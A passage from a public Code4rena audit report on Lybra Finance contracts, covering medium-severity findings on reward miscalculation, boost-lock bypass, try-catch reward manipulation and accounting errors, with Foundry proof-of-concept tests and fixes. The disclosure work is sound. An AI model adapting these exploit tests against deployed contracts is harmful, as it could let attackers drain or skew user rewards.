> We chose to ignore the negative change of rebase.

[0xean (judge) decreased severity to Medium](https://github.com/code-423n4/2023-06-lybra-findings)

[M-03] Impossibility to change `safeCollateralRatio`

Submitted by georgypetrov*, also found by* Kenshin, bart1e, DelerRH, pep7siup, ktg, SpicyMeatball, CrypticShepherd*, and* LuchoLeonel1

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18

Impact

Because of `vaultType` variable is internal `vaultType` staticcall to vaults from the configurator will revert, so it makes it impossible to change `safeCollateralRatio`. It may be critical when market conditions will change, something happens with ETH.

Proof of Concept

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTi
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVau
import {Configurator} from "@lybra/configuration/LybraConfigurat
import {mockEtherPriceOracle} from "@mocks/mockEtherPriceOracle.
import {mockCurve} from "@mocks/mockCurve.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2SafeCollateral is Test {

    GovernanceTimelock govTimeLock;
    mockEtherPriceOracle oracle;
    mockCurve curve;
    Configurator configurator;
    LybraStETHDepositVault stETHVault;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockEtherPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
```

```
        );
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), ad

        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        vm.stopPrank();
    }

    function testSafeCollateral() public {
        vm.startPrank(owner);
        configurator.setSafeCollateralRatio(address(stETHVault),
    }


}
```

Tools Used

Foundry

Recommended Mitigation Steps

Change getter function in `LybraConfigurator`:

```
interface IVault {
    function getVaultType() external view returns (uint8);
}
...
...
if(IVault(pool).getVaultType() == 0) {
```

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L29

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199

Assessed type

DoS

[LybraFinance confirmed](#)

[M-04] The `EUSDMiningIncentives` contract is incorrectly implemented and can allow for more than the intended amount of rewards to be minted

Submitted by [Toshii](#), *also found by* [bytes032](#)

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L132-L134
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L136-L147

Impact

The `EUSDMiningIncentives` contract is intended to function similarly to the Synthetix staking rewards contract. This means the rewards per second, defined as `rewardRatio`, which is set in the `notifyRewardAmount` function, is supposed to be distributed to users as an equivalent percentage of how much the user has staked as compared to the total amount staked. In this contract, the total amount staked is equal to the total supply of EUSD tokens. However, the calculated amount staked PER user is equal to the total amount borrowed of tokens (EUSD and PeUSD) across ALL vaults. This means, the amount returned by the `totalStaked` function is wrong, as it should also include the total supply of all the vaults which are included in the `pools` array (EUSD and PeUSD). This will effectively result in much more than the intended amount of rewards to be minted, as the numerator (total amount of EUSD and PeUSD) across all users is much more than the denominator (total amount of EUSD).

Proof of Concept

First consider the `stakedOf` function, which sums up the borrowed amount across all vaults in the `pools` array (both EUSD and PeUSD):

```
function stakedOf(address user) public view returns (uint256) {
    uint256 amount;
    for (uint i = 0; i < pools.length; i++) {
        ILybra pool = ILybra(pools[i]);
        uint borrowed = pool.getBorrowedOf(user);
        if (pool.getVaultType() == 1) {
            borrowed = borrowed * (1e20 + peUSDExtraRatio) / 1e2
        }
        amount += borrowed;
    }
    return amount;
}
```

Then consider the `totalStaked` function, which just returns the total supply of EUSD:

```
function totalStaked() internal view returns (uint256) {
    return EUSD.totalSupply();
}
```

The issue arrises in the `earned` function, which references both the `stakedOf` value and the `totalSupply` value:

```
function earned(address _account) public view returns (uint256)
    return ((stakedOf(_account) * getBoost(_account) * (rewardPe
}
```

Here, `stakedOf` (which includes EUSD and PeUSD), is multiplied by a call to `rewardPerToken` minus the old user reward debt. This function has `totalStaked()` in the denominator, which is where this skewed calculation is occurring:

```
function rewardPerToken() public view returns (uint256) {
        ...
        return rewardPerTokenStored + (rewardRatio * (lastTimeRe
}
```

This will effectively result in much more than the intended amount of rewards to be minted to the users, which will result in the supply of esLBR inflating much faster than intended.

Tools Used

Manual review

Recommended Mitigation Steps

The `totalStaked` function should be updated to sum up the `totalSupply` of EUSD and all the PeUSD vaults which are in the `pools` array.

Assessed type

Math

[LybraFinance confirmed](#)

[M-05] Invalid implementation of prioritized token rewards distribution

Submitted by [DelerRH](#), *also found by* [DelerRH](#), [ayden](#), [bart1e](#), [bart1e](#), [adeolu](#), [No12Samurai](#), [LaScaloneta](#), [HE1M](#), [pep7siup](#), [pep7siup](#), [RedTiger](#), [RedTiger](#), *and* [f00l](#)

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L190-L218

Vulnerability details

The `getReward` external function can't calculate and distribute rewards correctly for an account because of the reasons below:

- Transferring EUSD while the contract EUSD balance is insufficient and reverting

- Bad implementation of prioritized token rewards distribution when converting reward decimal for transfer stablecoin

Impact

Users can’t get rewards and rewards freeze.

Proof of Concept

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

import {Test, console} from "forge-std/Test.sol";
import {GovernanceTimelock} from "contracts/lybra/governance/Gov
import {mockCurve} from "contracts/mocks/mockCurve.sol";
import {Configurator} from "contracts/lybra/configuration/LybraC
import {LybraWBETHVault} from "contracts/lybra/pools/LybraWbETHV
import {PeUSDMainnet} from "contracts/lybra/token/PeUSDMainnetSt
import {ProtocolRewardsPool} from "contracts/lybra/miner/Protoco
import {EUSDMock} from "contracts/mocks/MockEUSD.sol";
import {LBR} from "contracts/lybra/token/LBR.sol";
import {esLBR} from "contracts/lybra/token/esLBR.sol";
import {esLBRBoost} from "contracts/lybra/miner/esLBRBoost.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.s

// 6 decimal USDC mock
contract mockUSDC is ERC20 {
    constructor() ERC20("USDC", "USDC") {
        _mint(msg.sender, 1000000 * 1e6);
    }

    function claim() external returns (uint256) {
        _mint(msg.sender, 10000 * 1e6);
        return 10000 * 1e6;
    }

    function decimals() public view virtual override returns (ui
        return 6;
    }
}

contract ProtocolRewardsPoolTest is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a875
```

```
address wbETH = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;
address deployer;
address attacker;
address alice;

address[] proposers;
address[] executors;
address[] minerContracts;
bool[] minerContractsBools;

GovernanceTimelock governance;
mockCurve curvePool;
Configurator configurator;
PeUSDMainnet peUsdMainnet;
EUSDMock eUSD;
mockUSDC usdc;
LBR lbr;
esLBR eslbr;
esLBRBoost boost;
LybraWBETHVault wbETHVault;
ProtocolRewardsPool rewardsPool;

function setUp() public {
    deployer = makeAddr("deployer");
    attacker = makeAddr("attacker");
    alice = makeAddr("alice");
    vm.startPrank(deployer);
    proposers.push(deployer);
    executors.push(deployer);
    governance = new GovernanceTimelock(2, proposers, execut
    curvePool = new mockCurve();
    configurator = new Configurator(address(governance), add
    peUsdMainnet = new PeUSDMainnet(
        address(configurator),
        8,
        goerliEndPoint
    );
    eUSD = new EUSDMock(address(configurator));
    // 6 decimal USDC token
    usdc = new mockUSDC();
    lbr = new LBR(address(configurator), 8, goerliEndPoint);
    eslbr = new esLBR(address(configurator));
    boost = new esLBRBoost();
    rewardsPool = new ProtocolRewardsPool(address(configurat
    rewardsPool.setTokenAddress(address(eslbr), address(lbr)
    // Ether oracle has no impact on this test
```

```
        wbETHVault =
        new LybraWBETHVault(address(peUsdMainnet), makeAddr("Non
        configurator.setMintVault(deployer, true);
        configurator.initToken(address(eUSD), address(peUsdMainn
        configurator.setProtocolRewardsPool(address(rewardsPool)
        configurator.setProtocolRewardsToken(address(usdc));
        curvePool.setToken(address(eUSD), address(usdc));

        // Set minters
        minerContracts.push(address(deployer));
        minerContracts.push(address(rewardsPool));
        minerContractsBools.push(true);
        minerContractsBools.push(true);
        configurator.setTokenMiner(minerContracts, minerContract

        // Fund curve pool eusd/usdc
        eUSD.mint(address(curvePool), 10000 * 1e18);
        usdc.transfer(address(curvePool), 10000 * 1e6);

        // Fund ALice
        lbr.mint(address(alice), 100 * 1e18);
        vm.stopPrank();
    }

    function test_canGetReward() public {
        // Alice stake LBR
        vm.startPrank(alice);
        rewardsPool.stake(100 * 1e18);
        assertEq(eslbr.balanceOf(alice), 100 * 1e18);
        vm.stopPrank();

        // Notify reward amount
        vm.startPrank(deployer);
        eUSD.mint(address(configurator), 3000 * 1e18);
        configurator.setPremiumTradingEnabled(true);

        uint256 eusdPreBalance = eUSD.balanceOf(address(configur
        configurator.distributeRewards();
        curvePool.setPrice(1010000);
        uint256 price = curvePool.get_dy_underlying(0, 2, 1e18);
        uint256 outUSDC = eusdPreBalance * price * 998 / 1e21;
        assertEq(eUSD.sharesOf(address(rewardsPool)), 0);
        assertEq(usdc.balanceOf(address(rewardsPool)), outUSDC);

        configurator.distributeRewards();
        vm.stopPrank();
```

```
            uint256 newRewardPerTokenstored =
                outUSDC * 1e36 / (10 ** ERC20(configurator.stableTok

            assertEq(rewardsPool.rewardPerTokenStored(), newRewardPe
            assertEq(rewardsPool.earned(alice), eslbr.balanceOf(alic
            uint256 earnedUSDC = rewardsPool.earned(alice);

            vm.startPrank(alice);
            rewardsPool.getReward();
            // earnedUSDC / 1e12 -> Because rewardsPool.earned outpu
            assertEq(usdc.balanceOf(alice), earnedUSDC / 1e12);
            vm.stopPrank();
        }
    }
```

Tools Used

Foundry

Assessed type

Math

[Oxean (judge) decreased severity to Medium](#)

[LybraFinance confirmed](#)

[M-06] Allowing `refreshReward()` to fail during minting or buring esLBR could result in gain or loss previously earned reward

Submitted by [Kenshin](#), *also found by* [0xNightRaven](#), [Breeje](#), *and* [totomanov](#)

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L33
https://github.com/code-423n4/2023-06-

lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L40

Impact

The esLBR balance of users plays the most important role in staking reward calculation. Using a try-catch statement over `refreshReward()` in the `esLBR.mint()` and `esLBR.burn()` functions can have the following effects when `refreshReward()` becomes unavailable:

- Users can mint more esLBR, then manually call `refreshReward()` afterward for the contract to record the earned reward with the increased esLBR balance of the users. This results in users receiving more rewards than they should.
- Users can be back run by a searcher or someone else calling `refreshReward(victim)` for the contract to record the earned reward with the decreased esLBR balance of the users. This results in users losing some of their rightful pending rewards that have not yet been recorded to the latest timestamp.

Proof of Concept

The following is the coded PoC using Foundry.

Note: This PoC creates a mock reward contract. It has the same logic as the real one, but with added setter functions that serve only to simplify the test flow.

```
File: test/esLBR.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import {esLBR} from "contract/lybra/token/esLBR.sol";

contract C4esLBRTest is Test {
    Configurator configurator;
    GovernanceTimelock govTimelock;
    mockProtocolRewardsPool rewardsPool;
    esLBR eslbr;
```

```
    address exploiter = address(0xfff);
    address victim = address(0xeee);

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0)
        configurator = new Configurator(address(govTimelock), ad
        rewardsPool = new mockProtocolRewardsPool();
        eslbr = new esLBR(address(configurator));

        rewardsPool.setTokenAddress(address(eslbr));

        address[] memory minter = new address[](1);
        minter[0] = address(this);
        bool[] memory minterBool = new bool[](1);
        minterBool[0] = true;
        configurator.setTokenMiner(minter, minterBool); // set t
        configurator.setProtocolRewardsPool(address(rewardsPool)

        eslbr.mint(exploiter, 100 ether);
        eslbr.mint(victim, 100 ether);
        rewardsPool.setRewardPerTokenStored(1);
    }

    function testMintFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(vic
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earn

        rewardsPool.setRewardPerTokenStored(2);

        eslbr.mint(victim, 100 ether); // refreshReward should p
        rewardsPool.forceRevert(true); // Assume something occur
        eslbr.mint(exploiter, 100 ether);

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earn
    }

    function testBurnFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(vic
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earn
```

```
        rewardsPool.forceRevert(true); // Assume something occur
        eslbr.burn(victim, 100 ether); // The victim unstake dur

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earn
    }
}

contract mockProtocolRewardsPool {
    esLBR public eslbr;

    // Sum of (reward ratio * dt * 1e18 / total supply)
    uint public rewardPerTokenStored;
    // User address => rewardPerTokenStored
    mapping(address => uint) public userRewardPerTokenPaid;
    // User address => rewards to be claimed
    mapping(address => uint) public rewards;

    bool isForceRevert; // for mockup reverting on refreshreward

    function setTokenAddress(address _eslbr) external {
        eslbr = esLBR(_eslbr);
    }

    // User address => esLBR balance
    function stakedOf(address staker) internal view returns (uin
        return eslbr.balanceOf(staker);
    }

    function earned(address _account) public view returns (uint)
        return ((stakedOf(_account) * (rewardPerTokenStored - us
    }

    /**
     * @dev Call this function when deposit or withdraw ETH on L
     */
    modifier updateReward(address account) {
        if (isForceRevert) revert();
        rewards[account] = earned(account);
        userRewardPerTokenPaid[account] = rewardPerTokenStored;
        _;
    }
```

```
    function refreshReward(address _account) external updateRewa

    function forceRevert(bool _isForce) external {
        isForceRevert = _isForce;
    }

    function setRewardPerTokenStored(uint value) external {
        rewardPerTokenStored = value;
    }
}
```

The test should pass without errors.

```
Running 2 tests for test/esLBR.t.sol:C4esLBRTest
[PASS] testBurnFailRefreshReward() (gas: 141678)
[PASS] testMintFailRefreshReward() (gas: 188308)
Test result: ok. 2 passed; 0 failed; finished in 2.50ms
```

Please follow this gist if you prefer my instructions on how I setup the audit repo with Foundry environment.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

The `refreshReward()` function should be a mandatory action inside either the `mint()` or `burn()` functions. The try-catch statement should be removed.

LybraFinance confirmed

[M-07] `stakerewardV2pool.withdraw()` should check the user's boost lock status.

Submitted by KupiaSec, *also found by* Toshii, LaScaloneta, DedOhWale, 0xRobocop, Kenshin, KupiaSec, Inspecktor, 0xkazim, ke1caM, Hama, yudan, *and* Co0nan

Users can withdraw their staking token immediately after charging more rewards using boost.

Proof of Concept

`withdraw()` should prevent withdrawals during the boost lock, but there is no such logic.

The below steps show how users can charge more rewards without locking their funds.

1. Alice stakes their funds using [stake()](#).
2. They set the longest lock duration to get the highest boost using [setLockStatus()](#).
3. After that, when they want to withdraw their staking funds, they call [withdraw()](#).

```
function withdraw(uint256 _amount) external updateReward(msg
    require(_amount > 0, "amount = 0");
    balanceOf[msg.sender] -= _amount;
    totalSupply -= _amount;
    stakingToken.transfer(msg.sender, _amount);
    emit WithdrawToken(msg.sender, _amount, block.timestamp)
}
```

4. Then, the highest boost factor will be applied to their rewards in [earned()](#) and they can withdraw all of their staking funds and rewards immediately without checking any lock duration.

```
// Calculates and returns the earned rewards for a user
function earned(address _account) public view returns (uint2
    return ((balanceOf[_account] * getBoost(_account) * (rew
}
```

Tools Used

Manual Review

Recommended Mitigation Steps

`withdraw()` should check the boost lock like this:

```
function withdraw(uint256 _amount) external updateReward(msg
    require(block.timestamp >= esLBRBoost.getUnlockTime(msg.:

    require(_amount > 0, "amount = 0");
    balanceOf[msg.sender] -= _amount;
    totalSupply -= _amount;
    stakingToken.transfer(msg.sender, _amount);
    emit WithdrawToken(msg.sender, _amount, block.timestamp)
}
```

Assessed type

Invalid Validation

[LybraFinance acknowledged]

[Oxean (judge) decreased severity to Medium]

[M-08] `LybraPeUSDVaultBase.rigidRedemption` should use `getBorrowedOf` instead of `borrowed`

Submitted by [cccz]

In `LybraPeUSDVaultBase`, the return value of `getBorrowedOf` represents the user's debt, while `borrowed` only represents the user's borrowed funds and does not include fees. Using `borrowed` instead of `getBorrowedOf` in `rigidRedemption` results in:

1. The requirement for the `peusdAmount` parameter is smaller than it actually is.
2. The calculated `providerCollateralRatio` is larger, so that `rigidRedemption` can be performed, even if the actual `providerCollateralRatio` is less than 100e18.

```
function rigidRedemption(address provider, uint256 peusdAmou:
    require(configurator.isRedemptionProvider(provider), "pr
```

```
        require(borrowed[provider] >= peusdAmount, "peusdAmount 
        uint256 assetPrice = getAssetPrice();
        uint256 providerCollateralRatio = (depositedAsset[provid
        require(providerCollateralRatio >= 100 * 1e18, "provider
        _repay(msg.sender, provider, peusdAmount);
        uint256 collateralAmount = (((peusdAmount * 1e18) / asse
        depositedAsset[provider] -= collateralAmount;
        collateralAsset.transfer(msg.sender, collateralAmount);
        emit RigidRedemption(msg.sender, provider, peusdAmount, 
    }
```

Proof of Concept

https://github.com/code-423n4/2023-06-lybra/blob/5d70170f2c68dbd3f7b8c0c8fd6b0b2218784ea6/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L157-L168

Recommended Mitigation Steps

Change to:

```
    function rigidRedemption(address provider, uint256 peusdAmou
        require(configurator.isRedemptionProvider(provider), "pro
-       require(borrowed[provider] >= peusdAmount, "peusdAmount 
+       require(getBorrowedOf(provider) >= peusdAmount, "peusdAm
        uint256 assetPrice = getAssetPrice();
-       uint256 providerCollateralRatio = (depositedAsset[provid
+       uint256 providerCollateralRatio = (depositedAsset[provid
        require(providerCollateralRatio >= 100 * 1e18, "provider
        _repay(msg.sender, provider, peusdAmount);
        uint256 collateralAmount = (((peusdAmount * 1e18) / asse
        depositedAsset[provider] -= collateralAmount;
        collateralAsset.transfer(msg.sender, collateralAmount);
        emit RigidRedemption(msg.sender, provider, peusdAmount, 
    }
```

Assessed type

Error

[LybraFinance confirmed](#)

[M-09] There is no mechanism that prevents from minting less than `esLBR` maximum supply in `StakingRewardsV2`

Submitted by [bart1e]

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L30-L32
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L20
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L73-L77

Vulnerability details

I'm assuming that esLBR is distributed as a reward in `StakingRewardsV2` - it's not clear from the docs. But `rewardsToken` is of type `IesLBR` and in order to calculate boost for rewards `esLBRBoost` contract is used, so I think that it's a reasonable assumption.

The esLBR token has a total supply of `100 000 000` and this is enforced in the `esLBR` contract:

```
    function mint(address user, uint256 amount) external returns (bo
            require(configurator.tokenMiner(msg.sender), "not author
            require(totalSupply() + amount <= maxSupply, "exceeding 
```

However, the `StakingRewardsV2` contract which is approved to mint new esLBR tokens doesn't enforce that new tokens can always be minted.

Either due to admin mistake (it's possible to call `StakingRewardsV2::notifyRewardAmount` with arbitrarily high `_amount`, which is not validated; it's also possible to set `duration` to an arbitrarily low value, so `rewardRatio` may be very high), or by normal protocol functioning, `100 000 000` of esLBR may be finally minted.

If that happens, no user will be able to claim their reward via `getReward`, since `mint` will revert. It also won't be possible to stake esLBR tokens in `ProtocolRewardsPool` or call any functions that use `esLBR.mint` underneath.

Impact

Lack of the possibility to stake esLBR is impacting important functionality of the protocol, while no possibility to withdraw earned rewards, this is a loss of assets for users.

From Code4Rena docs:

```
3 - High: Assets can be stolen/lost/compromised directly (or ind
```

Here, assets definitely can be lost. Also, while it could happen because of a misconfiguration by the admin, it can also happen naturally, since esLBR is inflationary and there is no mechanism that enforces the supply being far enough from the max supply. The only thing that could be done to prevent it is that the admin would have to calculate the current supply, analyse the number of stakers, control staking boosts, and set reward ratio accordingly, which is hard to do and error prone. Since assets can be lost and there aren't any needed external requirements here (and it doesn't have hand-wavy hypotheticals, in my opinion), I'm submitting this finding as High.

Proof of Concept

Number of reward tokens that users get is calculated here:
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/stakerewardV2pool.sol#L106-L108

Users can get their rewards by calling `getReward`:
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/stakerewardV2pool.sol#L111-L118

There is no mechanism preventing too high `rewardRatio` when it's set:
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/stakerewardV2pool.sol#L132-L145

`mint` will fail on too high supply:
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L30-L36

Users won't be able to claim acquired rewards, which is a loss of assets for them.

Tools Used

VS Code

Recommended Mitigation Steps

Do one of the following:

- Introduce some mechanism that will enforce that esLBR max supply will never be achieved (something similar to Bitcoin halving, for example).
- Do not set esLBR max supply (still do your best to limit it to `100 000 000`, but if it goes above that number, users will still be able to claim their acquired rewards).

Assessed type

ERC20

LybraFinance acknowledged

Oxean (judge) decreased severity to Low and commented:

> This comes down to input sanitization, which is typically awarded as QA.

Oxean (judge) increased severity to Medium and commented:

> Thought about this one a bit more and since there is a possibility of the inputs being correct, but the emissions exceeding the max supply. M feels like the right severity.

[M-10] Incorrect Reward Distribution Calculation in `ProtocolRewardsPool`

Submitted by No12Samurai, also found by Toshii, 0xRobocop, kutugu, and Brenzee

This report highlights a vulnerability in the `ProtocolRewardsPool` contract. The `getReward()` function, designed to distribute rewards to users, uses an incorrect calculation method that can result in incorrect reward distribution.

In the `ProtocolRewardsPool` contract, a user can call the `getReward()` function to receive the rewards. The function first tries to pay the reward using `eUSD` token, and if a sufficient amount of tokens are not available, it will use `peUSD`, and `stableToken` in the next steps. However, the protocol compares the number of shares with the amount of reward to send the reward. If one share corresponds to a value greater than 1 `eUSD`, which is typically the case, users can be overpaid when claiming rewards. This can result in a significant discrepancy between the actual reward amount and the amount distributed.

Proof of Concept

When a user invokes the `ProtocolRewardsPool.getReward()` function, the contract attempts to distribute the rewards using the `EUSD` token:

ProtocolRewardsPool.sol#L190-L218

```
function getReward() external updateReward(msg.sender) {
    uint reward = rewards[msg.sender];
    if (reward > 0) {
        rewards[msg.sender] = 0;
        IEUSD EUSD = IEUSD(configurator.getEUSDAddress());
        uint256 balance = EUSD.sharesOf(address(this));
        uint256 eUSDShare = balance >= reward ? reward : reward ·
        EUSD.transferShares(msg.sender, eUSDShare);
        if (reward > eUSDShare) {
            ERC20 peUSD = ERC20(configurator.peUSD());
            uint256 peUSDBalance = peUSD.balanceOf(address(this)
            if (peUSDBalance >= reward - eUSDShare) {
                peUSD.transfer(msg.sender, reward - eUSDShare);
                emit ClaimReward(
                    msg.sender,
```

```
                    EUSD.getMintedEUSDByShares(eUSDShare),
                    address(peUSD),
                    reward - eUSDShare,
                    block.timestamp
                );
            } else {
                if (peUSDBalance > 0) {
                    peUSD.transfer(msg.sender, peUSDBalance);
                }
                ERC20 token = ERC20(configurator.stableToken());
                uint256 tokenAmount = ((reward - eUSDShare - peU
                    token.decimals()) / 1e18;
                token.transfer(msg.sender, tokenAmount);
                emit ClaimReward(
                    msg.sender,
                    EUSD.getMintedEUSDByShares(eUSDShare),
                    address(token),
                    reward - eUSDShare,
                    block.timestamp
                );
            }
        } else {
            emit ClaimReward(
                msg.sender,
                EUSD.getMintedEUSDByShares(eUSDShare),
                address(0),
                0,
                block.timestamp
            );
        }
    }
}
```

To determine the available shares for rewarding users, the function calculates the shares of the eUSD token held by the contract and compares it with the total reward to be distributed.

Here is the code snippet illustrating this calculation:

```
uint256 balance = EUSD.sharesOf(address(this));
uint256 eUSDShare = balance >= reward ? reward : reward - balanc
```

However, the comparison of shares with the reward in this manner is incorrect.

Let's consider an example to understand the problem. Suppose `rewards[msg.sender]` is equal to `$` 10 worth of eUSD, and the shares held by the contract are 9 shares. If each share corresponds to `$` 10 worth eUSD, the contract mistakenly assumes it does not have enough balance to cover the entire reward, because it has 9 shares; however, having 9 shares is equivalent to having `$` 90 worth of eUSD. Consequently, it first sends 9 shares, equivalent to `$` 90 worth of eUSD, and then sends `$` 1 worth peUSD. However, the sum of these sent values is `$` 91 worth of eUSD, while the user's actual reward is only `$` 10 worth eUSD.

This issue can lead to incorrect reward distribution, causing users to receive significantly more or less rewards than they should.

Tools Used

Manual Review

Recommended Mitigation Steps

To address this issue, it is recommended to replace the usage of `eUSDShare` with `EUSD.getMintedEUSDByShares(eUSDShare)` in the following lines:

- ProtocolRewardsPool.sol#L198
- ProtocolRewardsPool.sol#L201-L202
- ProtocolRewardsPool.sol#L209

This ensures that the correct amount of eUSD is transferred to the user while maintaining the accuracy of reward calculations.

Assessed type

Math

LybraFinance confirmed

Oxean (judge) decreased severity to Medium and commented:

> I will leave open for more comment, but this is probably more a "leak" of value type scenario than assets being lost or stolen directly. Therefore M is probably appropriate.

[M-11] Understatement of `poolTotalPeUSDCirculation` amounts due to incorrect accounting after function `_repay` is called

Submitted by hl_, *also found by* mahdikarimi, OMEN, DedOhWale, Toshii, Kenshin, RedOneN, kenta, Iurii3, mahdikarimi, cccz, gs8nrv, 0xRobocop, hl_, pep7siup, lanrebayode77, bytes032, Co0nan, SpicyMeatball, CrypticShepherd, Musaka, Vagner, Vagner, peanuts, 0xRobocop, peanuts, peanuts, *and* max10afternoon

Incorrect accounting of `poolTotalPeUSDCirculation`, results in an understatement of `poolTotalPeUSDCirculation` amounts. This causes inaccurate bookkeeping and in turn affects any other functions dependent on the use of `poolTotalPeUSDCirculation`.

Proof of Concept

We look at function `_repay` of `LybraPeUSDVaultBase.sol` as follows:

```
    function _repay(address _provider, address _onBehalfOf, uint256
        try configurator.refreshMintReward(_onBehalfOf) {} catch {}
        _updateFee(_onBehalfOf);
        uint256 totalFee = feeStored[_onBehalfOf];
        uint256 amount = borrowed[_onBehalfOf] + totalFee >= _amoun
        if(amount >= totalFee) {
            feeStored[_onBehalfOf] = 0;
            PeUSD.transferFrom(_provider, address(configurator), to
            PeUSD.burn(_provider, amount - totalFee);
        } else {
            feeStored[_onBehalfOf] = totalFee - amount;
            PeUSD.transferFrom(_provider, address(configurator), am
        }
        try configurator.distributeRewards() {} catch {}
        borrowed[_onBehalfOf] -= amount;
        poolTotalPeUSDCirculation -= amount;
```

```
        emit Burn(_provider, _onBehalfOf, amount, block.timestamp);
    }
```

In particular, note the accounting of `poolTotalPeUSDCirculation` after repayment as [follows](#):

```
            poolTotalPeUSDCirculation -= amount;
```

Consider a scenario per below for user Alice, where:

- Amount borrowed = 200
- TotalFee = 2

Repay Scenario (PeUSD)	
_amount input	100
totalFee	2
amount (repay)	100
Fees left	0
PeUSD transfer to config addr	2
PeUSD burnt	98
borrowed[Alice]	100
poolTotalPeUSDCirculation (X)	X - 100

Based on the accounting flow of the function, the fees incurred are transferred to `address(configurator)`. The amount burned is `amount - totalFee`. However, we see that `poolTotalPeUSDCirculation` reduces the entire `amount` where it should be `amount - totalFee` reduced.

This results in an understatement of `poolTotalPeUSDCirculation` amounts.

Tools Used

Manual review

Recommended Mitigation Steps

Correct the accounting as follows:

```
-     poolTotalPeUSDCirculation -= amount;
+     poolTotalPeUSDCirculation -= (amount - totalFee);
```

Assessed type

Error

[LybraFinance confirmed](#)

[M-12] Rewards for initial period can be lost in all of the synthetix derivative contracts

Submitted by [BugBusters](#)

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/stakerewardV2pool.sol#L132-L150
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L227-L240
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/EUSDMiningIncentives.sol#L226-L242

Impact

Rewards in the synthetix derivative contracts (`EUSDMinningIncentives.sol` , `ProtocolRewardsPool.sol` and `stakerRewardsV2Pool.sol`) are initiated when the owner calls the `notifyRewardAmount` . This function calculates the reward rate per second and also records the start of the reward period. This has an edge case where rewards are not counted for the initial period of time until there is at least one participant.

Proof of Concept

Look at the code for `stakerrewardV2Pool.sol` (other files have somewhat similar logic too), derived from the synthetix:

```
    function notifyRewardAmount(uint256 _amount) external onlyOw
        if (block.timestamp >= finishAt) {
            rewardRatio = _amount / duration;
        } else {
            uint256 remainingRewards = (finishAt - block.timesta
            rewardRatio = (_amount + remainingRewards) / duratio
        }

        require(rewardRatio > 0, "reward ratio = 0");

        finishAt = block.timestamp + duration;
        updatedAt = block.timestamp;
        emit NotifyRewardChanged(_amount, block.timestamp);
    }

